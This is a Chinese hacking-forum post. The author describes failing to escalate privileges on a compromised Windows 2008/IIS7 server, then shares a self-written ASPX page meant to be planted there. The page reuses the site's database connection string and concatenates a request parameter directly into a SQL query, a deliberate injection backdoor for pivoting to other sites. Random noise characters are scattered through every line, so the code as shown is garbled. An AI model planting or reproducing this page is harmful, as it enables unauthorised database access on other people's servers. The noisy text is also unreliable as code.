昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。 h% @) N d) ~) X
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。: J. U+ ?: i3 d/ D
代码量不多,自己写个拉倒了。烦死了。
! Q: f5 i9 h! z+ F' b1 G3 y% L- O- h+ B+ D* L! s$ \
5 y3 t' V2 g* M! L* Z: z# A" t6 e! a
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
: R3 Z5 F/ n: n4 c! {' h6 h) x<html xmlns="http://www.w3.org/1999/xhtml">
* i7 K# {; Y; }9 j: N9 v- S9 G<head runat="server">
6 \) B7 g8 Q8 w <title>暗影aspx构造注射专用页面</title>+ |, W5 R C/ k0 _: H- t
</head>
; _( R) _% D) V1 b! F% \& N2 c<body>
2 |2 Z8 k R( I' G+ Z. ^5 O7 D7 h <form id="form1" runat="server">. N5 V1 N& C+ \& B4 c) T Q- d
<div>' ?4 K$ x4 i6 x$ ]9 N! k7 p6 H
<script language="c#" runat="server">; Z# E) W, \, L
7 J" P$ g; Q: ^7 I# e/ K
void page_init(object sender, EventArgs e)% }0 {* B5 n+ o" H2 J# M6 @
{5 S" E- g/ ^. h, a* p q
2 a) E, D5 ?: w; D+ N
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();$ n8 y4 u q7 B4 z$ ?
# ^9 [+ l0 e2 ?5 i# ?0 v conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
0 R& Z: O0 a b conn.Open();
' z- |# d0 ?' |3 v. c K 1 T8 P/ k. z ?5 b0 k
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
/ C2 S% d) a! V( g' u
; N/ q' z$ R" o/ w( y System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
0 w! \9 P" M' W( g$ M5 x% j$ `5 Z int x = command.ExecuteNonQuery();
* k2 ?2 `. \4 E, \9 C0 {, } Response.Write(i+"\n");2 t/ L9 a- ^0 B& `! ~5 f2 c# h
Response.Write(x);0 B2 F2 O& p. h) ^/ L5 O8 H
conn.Close();7 _# Y+ ~& {/ {7 V, f
}
8 T% R( n- R* }9 F" }9 l
3 j& M6 M) r$ Q6 p1 f </script>3 N: `: b9 _5 ^
</div>
2 P3 k/ g, y3 k3 m </form>; A4 P- K' A* H$ g Q. h: y# c$ E& O
</body>
! @* x9 D# X4 }3 S: D</html>1 G3 q- K, z& N, D
|